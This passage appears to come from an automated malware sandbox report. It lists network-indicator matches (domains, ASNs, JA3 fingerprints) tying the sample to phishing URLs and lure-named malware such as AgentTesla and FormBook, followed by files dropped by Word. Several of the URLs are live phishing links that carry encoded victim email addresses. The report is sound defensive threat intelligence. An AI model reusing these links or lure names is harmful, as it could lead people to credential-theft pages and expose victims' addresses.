W4cwXWH41yL3YRc97LTzO-2Bs1tiekgXBuymyjOOUCwrfeaoXHwdrUnOC9lLkSCEyEphHHVSUXTRheWH0LQ7d2Vy6YeuU-2FjUnSGfGD3ETh0RWvsTi4KIuS1qozJTidO-2BKbzSC9TN6-2FxeDkpH2v1OcpEc8Fy-2FLfywg7-2FYgWvv7vnLqr0rtoJRdMZ5ykC1gZl1L6PvUe%2526c%253DE%252C1%252C5bEVim247z1fGhtUhmYwbNu1H8iIZr4NrgaCfUxKZdTyuUxW48gwPUfsoILDy-FCjYA5-2MCgtJlXy5N3PAFAD47XFHidB4K4cNJC7Z-FhFR1P96vPVq%2526typo%253D1%26sa%3DD%26sntz%3D1%26usg%3DAOvVaw1azOLVizvjWw-irSjGm96x#ZGI4N0BvZnNvcHRpY3MuY29t	Get hash	malicious	HTMLPhisher	Browse	13.32.145.108
	https://xq1j.evarmewo.com/D7quCX/	Get hash	malicious	HTMLPhisher	Browse	13.227.219.47
	https://url10.mailanyone.net/scanner?m=1s9RAq-0006Jb-5U&d=4%7Cmail%2F90%2F1716304200%2F1s9RAq-0006Jb-5U%7Cin10b%7C57e1b682%7C12862802%7C10019077%7C664CBA043C901E446EE1366D62D3BA7A&o=%2Fphta%3A%2Fmtscedi.a.okligc%2Faz&s=ZaaFSMwYUUOJ9JHDFB21Y3MQK1I	Get hash	malicious	HTMLPhisher	Browse	13.227.219.47
code.jquery.com	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://xerox-ndzda15184.strudse.com/edtpx73416/#bGNvbnJhZEBoaW5ja2xleWFsbGVuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://worker-yellow-recipe-87f5.krevidajrezart.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://ct.ke/STUDENTS-FREE-LAPT0PS	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://www.google.com.bh/url?hl=en&q=https://www.google.com.bh/url?hl%3Den%26q%3Dhttp://www.google.com/amp/www.google.com/amp/www.google.com/amp/%252574%252569%25256E%252579%252575%252572%25256C%25252E%252563%25256F%25256D%25252F%25256D%252576%252574%252575%252575%252566%252537%252533%26source%3Dgmail%26ust%3D1716286979743000%26usg%3DAOvVaw0kIG15Hao_4RLWdhQSbrTj&source=gmail&ust=1716287016979000&usg=AOvVaw2OvZXU7t2_QCy0TjxskKGn	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://rstgmbh-rstsrl.start.page	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	Faradaypharma _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Faradaypharma _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://p538.tumenum.com/4568/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Alarm SWIFT COPY _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
challenges.cloudflare.com	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse	104.17.3.184
	https://skyasldights.ru.net/x4bQcxNS/index.html	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	104.17.3.184
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://xerox-ndzda15184.strudse.com/edtpx73416/#bGNvbnJhZEBoaW5ja2xleWFsbGVuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://worker-yellow-recipe-87f5.krevidajrezart.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://url12.mailanyone.net/scanner?m=1s9N28-0000qa-3G&d=4%7Cmail%2F90%2F1716288000%2F1s9N28-0000qa-3G%7Cin12d%7C57e1b682%7C11949542%7C14589158%7C664C7BD820EF00EA9CDA64C5861AF4A9&o=%2Fphta%3A%2Fvtslekssiaipcr.te%2Ftoenscino-x-pk%2F6tRunvbhyfphp.x&s=qPX4ToIpiLV6GTYf9V69nGT5pss	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.3.184
	https://url2.mailanyone.net/scanner?m=1s81O6-0008Br-4D&d=4%7Cmail%2F90%2F1715966400%2F1s81O6-0008Br-4D%7Cin2d%7C57e1b682%7C17902772%7C12174482%7C664793DA5572258CACEE6A71CCB20F04&o=%2Fphty%3A%2Fmtseapesprstlmoc.&s=sNIZzYHyUIvQ6OVMbKtEQNJjOqk	Get hash	malicious	Unknown	Browse	104.17.2.184
	Faradaypharma _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	Faradaypharma _ Tuesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://curve-amm.com	Get hash	malicious	Unknown	Browse	172.67.201.165
	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse	104.16.117.116
	Draft BL copy.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://skyasldights.ru.net/x4bQcxNS/index.html	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://app.frame.io/presentations/52095d75-78f4-40d2-8ecd-505b67097ee1?component_clicked=digest_call_to_action&email_id=1d128434-b5ec-4195-8c8c-860eac345853&email_type=pending-reviewer-invite	Get hash	malicious	Unknown	Browse	162.159.61.3
	5302c416b0abd845fe3145f910e82440588c11219940fe89fd68722260a9b508_payload.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	what dmv forms do i need to sell my car in ny 88970.js	Get hash	malicious	GookitLoader	Browse	172.67.210.170
	https://idujew.sbs/NOT5u64664/index.php?lpkey=174916883959189c66&trkd=edygik.org&lpkey1=55d651zqqmy1nvr4a6&language=en-GB&scanid=55d651zqqmy1nvr4a6&ip=84.43.87.132&t1=36&t2=ALL&t3=pn&t4=796&t5=1805&dm=1&pbid=3417&uid=8xOEX_FfuSdS9gxXBMKnAtAB9taRkK&uclick=1zqqmy1nvr&uclickhash=1zqqmy1nvr-1zqqmy1nvr-b4-x9-8r8n-2tmyi4-2t1n3y-a154fa	Get hash	malicious	Unknown	Browse	188.114.96.3
FASTLYUS	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse	151.101.66.217
	https://skyasldights.ru.net/x4bQcxNS/index.html	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	151.101.129.140
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://xerox-ndzda15184.strudse.com/edtpx73416/#bGNvbnJhZEBoaW5ja2xleWFsbGVuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://worker-yellow-recipe-87f5.krevidajrezart.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://ct.ke/STUDENTS-FREE-LAPT0PS	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://www.google.com.bh/url?hl=en&q=https://www.google.com.bh/url?hl%3Den%26q%3Dhttp://www.google.com/amp/www.google.com/amp/www.google.com/amp/%252574%252569%25256E%252579%252575%252572%25256C%25252E%252563%25256F%25256D%25252F%25256D%252576%252574%252575%252575%252566%252537%252533%26source%3Dgmail%26ust%3D1716286979743000%26usg%3DAOvVaw0kIG15Hao_4RLWdhQSbrTj&source=gmail&ust=1716287016979000&usg=AOvVaw2OvZXU7t2_QCy0TjxskKGn	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://rstgmbh-rstsrl.start.page	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	UA9mKkpp2q.jar	Get hash	malicious	STRRAT	Browse	199.232.192.209
AMAZON-02US	http://curve-amm.com	Get hash	malicious	Unknown	Browse	13.32.110.113
	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse	54.171.19.13
	https://app.frame.io/presentations/52095d75-78f4-40d2-8ecd-505b67097ee1?component_clicked=digest_call_to_action&email_id=1d128434-b5ec-4195-8c8c-860eac345853&email_type=pending-reviewer-invite	Get hash	malicious	Unknown	Browse	18.244.155.70
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	3.160.212.116
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	18.245.31.89
	https://xerox-ndzda15184.strudse.com/edtpx73416/#bGNvbnJhZEBoaW5ja2xleWFsbGVuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.32.145.9
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	18.245.86.79
	http://www.cpcheckme.com	Get hash	malicious	Unknown	Browse	52.49.232.14
	2T6MGxlKZT.exe	Get hash	malicious	SmokeLoader	Browse	54.255.136.181
	EST- 250424-0370pdf.exe	Get hash	malicious	FormBook	Browse	3.64.163.50
CLOUDFLARENETUS	http://curve-amm.com	Get hash	malicious	Unknown	Browse	172.67.201.165
	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse	104.16.117.116
	Draft BL copy.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://skyasldights.ru.net/x4bQcxNS/index.html	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://app.frame.io/presentations/52095d75-78f4-40d2-8ecd-505b67097ee1?component_clicked=digest_call_to_action&email_id=1d128434-b5ec-4195-8c8c-860eac345853&email_type=pending-reviewer-invite	Get hash	malicious	Unknown	Browse	162.159.61.3
	5302c416b0abd845fe3145f910e82440588c11219940fe89fd68722260a9b508_payload.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	what dmv forms do i need to sell my car in ny 88970.js	Get hash	malicious	GookitLoader	Browse	172.67.210.170
	https://idujew.sbs/NOT5u64664/index.php?lpkey=174916883959189c66&trkd=edygik.org&lpkey1=55d651zqqmy1nvr4a6&language=en-GB&scanid=55d651zqqmy1nvr4a6&ip=84.43.87.132&t1=36&t2=ALL&t3=pn&t4=796&t5=1805&dm=1&pbid=3417&uid=8xOEX_FfuSdS9gxXBMKnAtAB9taRkK&uclick=1zqqmy1nvr&uclickhash=1zqqmy1nvr-1zqqmy1nvr-b4-x9-8r8n-2tmyi4-2t1n3y-a154fa	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://curve-amm.com	Get hash	malicious	Unknown	Browse	13.85.23.86 40.126.32.134
	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse	13.85.23.86 40.126.32.134
	https://skyasldights.ru.net/x4bQcxNS/index.html	Get hash	malicious	Unknown	Browse	13.85.23.86 40.126.32.134
	https://app.frame.io/presentations/52095d75-78f4-40d2-8ecd-505b67097ee1?component_clicked=digest_call_to_action&email_id=1d128434-b5ec-4195-8c8c-860eac345853&email_type=pending-reviewer-invite	Get hash	malicious	Unknown	Browse	13.85.23.86 40.126.32.134
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	13.85.23.86 40.126.32.134
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 40.126.32.134
	https://url10.mailanyone.net/scanner?m=1s944h-0002To-5d&d=4%7Cmail%2F90%2F1716215400%2F1s944h-0002To-5d%7Cin10e%7C57e1b682%7C12862802%7C10019077%7C664B5F2B87AB20AB3656F0529EAA66DD&o=%2Fphtn%3A%2Fits-ftefceoraoefi.ognclmoc&s=TEjbZJDtuXxOW0FjTVUpySy9uwY	Get hash	malicious	Unknown	Browse	13.85.23.86 40.126.32.134
	https://idujew.sbs/NOT5u64664/index.php?lpkey=174916883959189c66&trkd=edygik.org&lpkey1=55d651zqqmy1nvr4a6&language=en-GB&scanid=55d651zqqmy1nvr4a6&ip=84.43.87.132&t1=36&t2=ALL&t3=pn&t4=796&t5=1805&dm=1&pbid=3417&uid=8xOEX_FfuSdS9gxXBMKnAtAB9taRkK&uclick=1zqqmy1nvr&uclickhash=1zqqmy1nvr-1zqqmy1nvr-b4-x9-8r8n-2tmyi4-2t1n3y-a154fa	Get hash	malicious	Unknown	Browse	13.85.23.86 40.126.32.134
	https://xerox-ndzda15184.strudse.com/edtpx73416/#bGNvbnJhZEBoaW5ja2xleWFsbGVuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 40.126.32.134
	http://www.cpcheckme.com	Get hash	malicious	Unknown	Browse	13.85.23.86 40.126.32.134
6271f898ce5be7dd52b0fc260d0662b3	http://sonarr.vertras.xyz	Get hash	malicious	Unknown	Browse	2.23.209.182
	http://twomancake.com	Get hash	malicious	Unknown	Browse	2.23.209.182
	https://internal--alert-teamapp-site.ipns.dweb.link/#YW1hbmRhLm1vcnJpc29uQG9uZWFtZXJpY2EuY29t	Get hash	malicious	HTMLPhisher	Browse	2.23.209.182
	Re_ Enquiry.eml	Get hash	malicious	HTMLPhisher	Browse	2.23.209.182
	https://ipfs.chainsafe.io/ipfs/QmYbgiYHMPGkARhXKZcLM2kUkVztAbHXaFtDKG8bnHwJsq	Get hash	malicious	Unknown	Browse	2.23.209.182
	https://www.google.co.in/amp/s/www.google.com%2Furl%3Fq%3Dhttps%253A%252F%252Flinkprotect.cudasvc.com%252Furl%253Fa%253Dhttps%253A%252F%252Fwww.visaliakawasaki.com%252FElementSettings%252Fwww.visaliakawasaki.com%252FViewSwitcher%252FSwitchView%253Fmobile%25253DTrue%252526returnUrl%25253Dhttps%253A%252F%252Fu44590137.ct.sendgrid.net%2525252Fls%2525252Fclick%2525253Fupn%2525253Du001.GjIPgTulbfriEzQws5bSKQ0tBwgDf638cPIbrF7bBS8NN2MSd8LfwpRfwqfZEGcjwx-2FiuTfrARoUEAvK7M4n-2BAg1-2F-2FELp5mbBCr0JpdUspiR4oOxJWlS78YEBXijZzkpDiow2nY9KnoFU4ondac8lETPxsyfIct1leS36BfzpkQFKz3TSN9vr61CiVS4uHuNxHob1YUQlV-2BuCeGkvPZJV-2Fo6nAK0QlEj0EmBYAIy3ug8F51T3ZDa-2B0U9lsOqpmba-2FjupN30EfyuEJ9V8e6kbUqxVB0dBioMo5Q1FZl2HioSDtvdcNiAGq-2FmCD-2BpOCdTj4QHZ1svLtVhW3tuPt3TtsKIhMyEQSCBs4KE0QMxTg7Tz3z8lSQNT9N-2Fv2njFNugtWC55_ePYPF6nkF-2BGqBPgpX-2FhQmioAe0Ok4T3S5or1jtZ-2Ff383C4htchEL8ALyz-2FlVDREoFm5EYW0CKJH8Ggnzzvs7KZs3lddF5XzBqvbWlUq3b7V8WyhGiFvjiJtK7QU5N-2Bw2l0QVeej2h7lohWb4z7akLA6ULkTMilx4MGaOA76Y-2F5HTpAh-2FdbwkpAokcG5eM9Rgxr4DfjrCXIjRfG-2BxidDnJzSHi3PNzjjg2x85tMoFNvNhO8MXLTCfsTp2viUCW4cwXWH41yL3YRc97LTzO-2Bs1tiekgXBuymyjOOUCwrfeaoXHwdrUnOC9lLkSCEyEphHHVSUXTRheWH0LQ7d2Vy6YeuU-2FjUnSGfGD3ETh0RWvsTi4KIuS1qozJTidO-2BKbzSC9TN6-2FxeDkpH2v1OcpEc8Fy-2FLfywg7-2FYgWvv7vnLqr0rtoJRdMZ5ykC1gZl1L6PvUe%2526c%253DE%252C1%252C5bEVim247z1fGhtUhmYwbNu1H8iIZr4NrgaCfUxKZdTyuUxW48gwPUfsoILDy-FCjYA5-2MCgtJlXy5N3PAFAD47XFHidB4K4cNJC7Z-FhFR1P96vPVq%2526typo%253D1%26sa%3DD%26sntz%3D1%26usg%3DAOvVaw1azOLVizvjWw-irSjGm96x#dGhhbGxAb3AtZi5vcmc=	Get hash	malicious	HTMLPhisher	Browse	2.23.209.182
	https://url12.mailanyone.net/scanner?m=1s9PCz-0000cD-4j&d=4%7Cmail%2F90%2F1716296400%2F1s9PCz-0000cD-4j%7Cin12g%7C57e1b682%7C11949542%7C14589158%7C664C9C811D87B03FE2E6472997A0C22E&o=%2Fphtl%3A%2Fatsnhtaageeteoilogt.rgsigc%2Faz.&s=1YKQiaLIfHH0tTbjCAvEAnTGAIU	Get hash	malicious	HTMLPhisher	Browse	2.23.209.182
	https://u44480879.ct.sendgrid.net/ls/click?upn=u001.K3PKLmjBF8yuYObBAUhMhoYgMCf2QPF8-2BZI72vFIksvq5gv1YdeLmebXIjmharYkUcFgg0gxX-2FWnhhIuwG1v7hZ1jSPSflMHjG28wduJ6WYURJRkvoZYkrpgydIv6UCw7t1grI-2FOHPnDvS00ShpX9xXHYT95jO14dPyhKlpfAgbiguCssCUSGyzsUXoj0i5OD5WgRtFSbHv5xA6nkt2-2BnV2PahLYLwt63WRXCeSfWq4QVMqO-2BJ19jNeGlkPsSJ7LjTRQ_i2l0JY0a-2B5IHliMJOpuAQskejvIIAloJuWpirDIyAKvqXPSxi-2BJFNs3s-2BBhNyt3IuemV4R9vgK4lniAodKDuO5I3mYVK4xxASVKvZBnT0EvvqLHkUoab3uOwe13cn6mNyhQaL1Vcdvxd7XZ0GFfTZ9aBlD2GiHfinlIyB6vRF7bjNGZmtvLv3o0jYjOgY4RXF495TuUjjBZNoMguN8rUGoiNOkgNXvc2IiDsbNfgghazj2fwqVSs1vbmTcZe0zePKD2UCPQB-2F0HgPY4-2FJ1DTehOrWMbxZ-2FvJVCWppZOFHMlDv0TKEyx1-2FUlF330qgqw9RpmfgzpuSa3QNju2XxovCzCQMgiykbvuS-2BASB-2BwolLPpkcOYAm2PSCx0uDNQdWPLOarKIcv5eBG38XDZm38U-2BPUlNv7WKbMtJQtnyTRX26RGa2QEgMJJEg7pVaW1E3fNSFtUzV-2B9TRB6AR-2F0dQVDjN-2BDXbuC2wdD8XIcTiR0x13qN9Ue7Uy0B1mkdyBFM-2F-2FLCkULNCj3vHyywuiz7XFtD80zjdMZ6p7qRnJvTxE0OErqVvXV7ExeSfPpIkvRb2vtYGXyPwsJU84YitEGasTuan1Qb7qY-2BCjK-2BGu2OF5qtxAM4ffvs-2FAs5ymdEqvJZV5Bn1jeQjLz6wDOoEy-2B8bZnhDZ-2BAPDyVjfuq0GObtbYn-2Fb4GPUYaWbH-2F93IuGgnTByDILI-2FWE9MVp3RKV-2F-2BBryOsBGlBUQrWR2ImfTNzWzMbBrj-2BKqW5yNH1deqIdAglTH68WrBSO0mlGYUjctN4j364ck9SzZdvU5uN2VirSfK9wZwGXR-2B6p-2FOHwxd9cjm1b-2BjZRFALK9cu3efthTs-2BPI5tXAxrm5lL9s-2B9SEQz4IW6nJ3DWzdxXvZ4LC5H5taTAQj2lceiCXaxhPNI6PfuuInsvKiGXyFdparkshCJAzM5SH0o7fpSAMjEQa7MyV8onNW	Get hash	malicious	HTMLPhisher	Browse	2.23.209.182
	PGA_Champ_2024_runde4.xlsm	Get hash	malicious	Unknown	Browse	2.23.209.182
	Inventory_list.xls	Get hash	malicious	Unknown	Browse	2.23.209.182
3b5074b1b5d032e5620f69f9f700ff0e	Draft BL copy.exe	Get hash	malicious	AgentTesla	Browse	13.107.5.88
	5302c416b0abd845fe3145f910e82440588c11219940fe89fd68722260a9b508_payload.exe	Get hash	malicious	AgentTesla	Browse	13.107.5.88
	what dmv forms do i need to sell my car in ny 88970.js	Get hash	malicious	GookitLoader	Browse	13.107.5.88
	RFQ-101432620247fl#U00e2#U00aexslx.exe	Get hash	malicious	AgentTesla	Browse	13.107.5.88
	SOA_41457.exe	Get hash	malicious	AgentTesla	Browse	13.107.5.88
	QUOTATION SHEET_RFQ 564077 2024.5.17.exe	Get hash	malicious	AgentTesla	Browse	13.107.5.88
	INSTALLATION BOQ KATSINA.exe	Get hash	malicious	AgentTesla	Browse	13.107.5.88
	https://www.google.com.bh/url?hl=en&q=https://www.google.com.bh/url?hl%3Den%26q%3Dhttp://www.google.com/amp/www.google.com/amp/www.google.com/amp/%252574%252569%25256E%252579%252575%252572%25256C%25252E%252563%25256F%25256D%25252F%25256D%252576%252574%252575%252575%252566%252537%252533%26source%3Dgmail%26ust%3D1716286979743000%26usg%3DAOvVaw0kIG15Hao_4RLWdhQSbrTj&source=gmail&ust=1716287016979000&usg=AOvVaw2OvZXU7t2_QCy0TjxskKGn	Get hash	malicious	Unknown	Browse	13.107.5.88
	New Order.exe	Get hash	malicious	Unknown	Browse	13.107.5.88
	New Order.exe	Get hash	malicious	Unknown	Browse	13.107.5.88

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JSON data
Category:	dropped
Size (bytes):	520156
Entropy (8bit):	4.907666742859367
Encrypted:	false
SSDEEP:	3072:9omubOSb3F2Fq9VMjNYof+pmpnGDubTxZO7aYb6f5780K2:+bOq3OjNymtGyT
MD5:	036628E3E3F0728DAA7D53AC1B3EF8CC
SHA1:	65327D9039335E1BAF9E14639AE355195766C9EC
SHA-256:	2CAEC4D00BD356241B8B405B1B74386C677D501A7A23CE6EF916EAF912541544
SHA-512:	C6524E4C732E1827B4FA8DA07DFF92F3024E15822578C6945B8A076498A85FF0D0C933E01F2AF98BA90A3E6A24DAB1601C07BE9D8D7193F4FB48A8E63FA75821
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"MajorVersion":4,"MinorVersion":39,"Expiration":14,"Fonts":[{"a":[4294966911],"f":"Abadi","fam":[],"sf":[{"c":[1,0],"dn":"Abadi","fs":32696,"ful":[{"lcp":983041,"lsc":"Latn","ltx":"Abadi"}],"gn":"Abadi","id":"23643452060","p":[2,11,6,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":26215680},{"c":[1,0],"dn":"Abadi Extra Light","fs":22180,"ful":[{"lcp":983042,"lsc":"Latn","ltx":"Abadi Extra Light"}],"gn":"Abadi Extra Light","id":"17656736728","p":[2,11,2,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":13108480}]},{"a":[4294966911],"f":"ADLaM Display","fam":[],"sf":[{"c":[536870913,0],"dn":"ADLaM Display Regular","fs":140072,"ful":[{"lcp":983040,"lsc":"Latn","ltx":"ADLaM Display"}],"gn":"ADLaM Display","id":"31965479471","p":[2,1,0,0,0,0,0,0,0,0],"sub":[],"t":"ttf","u":[2147491951,1107296330,0,0],"v":131072,"w":26215680}]},{"a":[4294966911],"f":"Agency FB","fam":[],"sf":[{"c":[536870913,0],"dn":"Agency FB Bold","fs":54372,"ful":[{"lcp":9830

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_39.ttf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	TrueType Font data, 10 tables, 1st "OS/2", 7 names, Microsoft, language 0x409, \251 2018 Microsoft Corporation. All Rights Reserved.msofp_4_39RegularVersion 4.39;O365
Category:	dropped
Size (bytes):	767532
Entropy (8bit):	6.559103097590493
Encrypted:	false
SSDEEP:	12288:zn84XUdLDs51UJQSOf9VvLXHyheIQ47gEFGHtAgk3+/yLQ/zlm1kjFKy6Nyjbqq+:j8XNDs5+ivOXgm1kYvyz2
MD5:	1BE236301B686323302632C0EACCFD6F
SHA1:	7EF18B642DBFA9FB6E8AFABACB50F6CA6BD73BB4
SHA-256:	90200D640623BFB0518B18D72C3F9828BC6EDA63EAB2DA90FBC27A08AAD165D7
SHA-512:	BA6763BDB0C19103E417D808939739EF61FC15C7C4E7A8D10BB0120DC461D028054FF20A54BCB9A98FA9702B412D14CDC0270F2147F6C3FF5CB22A711934F276
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	........... OS/29....(...`cmap.s.(.......pglyf..&?...\....head2'.........6hheaE.@r.......$hmtxr..........0loca.+.....(...4maxp........... name.X+.........post...<....... .........Z.9_.<...........<........$....Aa...................Q....Aa....Aa.........................~...................................................3..............................MS .@.......(...Q................. ...........d...........0...J.......8.......>..........+a..#...,................................................/...K.......z...............N.........!...-...+........z.......h..%^..3...&j..+...+%..'R..+..."....................l......$A...,.......g...&...=.......X..&..............&....B..(B...............#.......j...............+...P...5...@...)..........#...)Q..................{.. ....?..'...#....N...7......<...;>.............. ]...........5......#....s.......$.......$.......^..................+...>....H.......%...7.......6.......O...V...........K......"........c...N......!...............$...&...p..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{9E7E14FD-F7C9-4322-8214-8666E95A542C}.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2284
Entropy (8bit):	2.899494672544489
Encrypted:	false
SSDEEP:	24:rlxaWwilI0lilc9PnTsLjgbiNLSmrz0MK++lIg+ac1JlIa6InSmrQ70MKN:Jx1c9l4T6s0Ldr2+aIgw1rIYndrQ+N
MD5:	947CB6443A1271AFA43B6965B62FDD85
SHA1:	A6D46903A1D45FADEA10AA06086E9EE6BCA38AA0
SHA-256:	76A17F1EB600E5D2EEB2751B56D6F6E73394EC0D522959837B3DAE6D892C6E26
SHA-512:	E96736956CD0EFAE4DA94AFD024C8A7DFB8B8A89FFEA7FD53309C64F0906DB625783626D6FD1ED13B5929C0957C9582E00AC770F38325CC40D5B55F176E9D382
Malicious:	false
Reputation:	low
Preview:	..M.u.l.t.i.f.u.n.c.t.i.o.n. .P.r.i.n.t.e.r. .N.a.m.e.:. .X.R.X.9.C.9.3.4.E.9.6.7.A.0.D...N.u.m.b.e.r. .o.f. .P.a.g.e.s.:. .5...A.t.t.a.c.h.m.e.n.t. .F.i.l.e. .T.y.p.e.:. .p.d.f.,. .M.u.l.t.i.-.P.a.g.e...M.u.l.t.i.f.u.n.c.t.i.o.n. .P.r.i.n.t.e.r. .L.o.c.a.t.i.o.n.:...=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=...............................................................................................................................................................................................................Z...............\|...~...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1716400876928942800_58C547B7-7916-4CBB-AEF1-7F9E8F5B6977.log

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.013437962279005377
Encrypted:	false
SSDEEP:	1536:LMTRwbZfB0j4RICnleeb0LZ3yU3lB0CyW:A
MD5:	E6E23330A4AB66987AD1DA73B94BDAAB
SHA1:	4D1A3FB47BE6A5E03BC46F02EA45005166C422AC
SHA-256:	28515B8474B96C1EDE444F044D9125F2E9C7BB28C303CB58ACE9730C9AA97039
SHA-512:	F7A62DD6FCFC4DA96A4E47F95B17FCD0B84E6E8D29102484434376AAD2ABD95BE8D63006B98D854B53B3552CAE67227755C05FDE0FEC38027108387D3A325AC3
Malicious:	false
